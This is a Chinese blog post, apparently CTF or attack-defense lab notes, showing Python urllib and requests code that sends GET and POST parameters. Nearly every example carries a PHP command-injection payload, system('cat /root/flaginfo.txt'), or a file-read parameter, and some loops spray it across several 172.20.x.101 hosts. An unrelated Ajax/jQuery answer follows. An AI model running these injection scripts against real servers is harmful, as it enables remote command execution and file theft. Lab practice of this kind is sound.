python3实现get和post传参

参考文章

利用urllib库

import urllib.request
import urllib.parse

  1. get传参
    命令格式:urllib.request.urlopen(url)
url = "http://172.20.101.101/reg.php"
payload = {
    "a":"system('cat /root/flaginfo.txt');"
}
data = urllib.parse.urlencode(payload)

response = urllib.request.urlopen(url + "?" +data)
print(response.read().decode())
  1. post传参
    命令格式:urllib.request.urlopen(url,data=post_data.encode())
url="http://172.20.101.101/post.php"
data={
    "a":"system('cat /root/flaginfo.txt');"
}
payload=urllib.parse.urlencode(data)

response = urllib.request.urlopen(url,data=payload.encode())
print(response.read().decode())
  1. 利用re正则匹配来匹配字符串(get传参形)
    import re
url = "http://172.20.101.101/about.php"
###get
payload = {
    "f":"/root/flaginfo.txt"
}

data = urllib.parse.urlencode(payload)
#print(data)
response = urllib.request.urlopen(url + "?" +data)
html=response.read().decode()
flag=re.findall('(.*?)<div class="row">',html,re.S)
print(flag)
  1. 循环遍历
    get形
def urllibget(u,payload):
    for i in range(101,104):
        url="http://172.20."+str(i)+".101"
        print(url,end="   ")
        try:
        		data=urllib.parse.urlencode(payload)
        		response=urllib.request.urlopen(url+u+"?"+data)
        		result=response.read().decode()
        		print(result)
		except:
				pass
				
u="/reg.php"
payload={"a":"system('cat /root/flaginfo.txt');"}
urllibget(u,payload)

post形

def urllibpost(u,p):
    for i in range(101,104):
        url="http://172.20."+str(i)+".101"
        print(url,end="   ")
        try:
             payload=urllib.parse.urlencode(p)
             response=urllib.request.urlopen(url+u,data=payload.encode())
             result=response.read().decode()
             print(result)
         except:
         	 pass

u="/post.php"
payload={"a":"system('cat /root/flaginfo.txt');"}
urllibpost(u,payload)

利用requests库

import requests

  1. get传参
    命令格式:requests.get(url)
url="http://172.20.101.101"
data="/reg.php?a=system('cat /root/flaginfo.txt');"
url=url+data
req=requests.get(url).content.decode()
print(req)
  1. post传参
    命令格式:requests.post(url,data=post_data)
url="http://172.20.101.101/post.php"
post_data={"a":"system('cat /root/flaginfo.txt');"}
req=requests.post(url,data=post_data).content.decode()
print(req)
  1. 利用re正则匹配来匹配字符串(get型)
    import re
    命令格式:result=re.findall(‘匹配字符串条件’,html,re.S)
url="http://172.20.101.101"
data="/about.php?f=/root/flaginfo.txt"
payload=url+data
req=requests.get(payload).content.decode()
result=re.findall('(.*?)<div class="row">',req,re.S)
print(result)
  1. 循环遍历
    get型
def getc(payload):
    for i in range(101,104):
        url="http://172.20."+str(i)+".101"
        print(url,end="   ")
        url=url+payload
        try:
            req=requests.get(url).content.decode()
            print(req)
        except:
            pass
payload="/reg.php?a=system('cat /root/flaginfo.txt');"
getc(payload)

post型

def postc(u,post_data):
    for i in range(101,104):
        url="http://172.20."+str(i)+".101"
        print(url,end="   ")
        try:
            url=url+u
            req=requests.post(url,data=post_data).content.decode()
            print(req)
        except:
            pass
u="/post.php"
post_data={"a":"system('cat /root/flaginfo.txt');"}
postc(u,post_data)
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
好的,针对您的问题,我可以给您提供一些思路和示例代码。 首先,使用 Ajax 实现页面跳转并传参的思路是,在前端通过 Ajax 发送一个请求到后端,后端返回需要跳转的页面的内容,并将参数传递给前端,前端再利用 JavaScript 将页面内容渲染到页面上。 下面是一个简单的示例代码: ```javascript // 前端代码 $.ajax({ type: 'get', url: '/path/to/your/backend', data: {param1: 'value1', param2: 'value2'}, success: function(response) { // 将后端返回的页面内容渲染到页面上 $('body').html(response); } }); // 后端代码(假设使用 Python Flask 框架) @app.route('/path/to/your/backend') def backend(): param1 = request.args.get('param1') param2 = request.args.get('param2') # 处理参数,生成需要返回的页面内容 content = 'hello world' return content ``` 接下来,使用 jQuery 实现页面跳转并通过 Post 方法传参的思路是,利用 jQuery 提供的 `$.post()` 方法向后端发送一个 Post 请求,并将参数传递给后端,后端再返回需要跳转的页面的内容,前端再利用 JavaScript 将页面内容渲染到页面上。 以下是一个简单的示例代码: ```javascript // 前端代码 $.post('/path/to/your/backend', {param1: 'value1', param2: 'value2'}, function(response) { // 将后端返回的页面内容渲染到页面上 $('body').html(response); }); // 后端代码(假设使用 Python Flask 框架) @app.route('/path/to/your/backend', methods=['POST']) def backend(): param1 = request.form.get('param1') param2 = request.form.get('param2') # 处理参数,生成需要返回的页面内容 content = 'hello world' return content ``` 希望以上示例代码对您有所帮助,如有疑问请及时提出。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值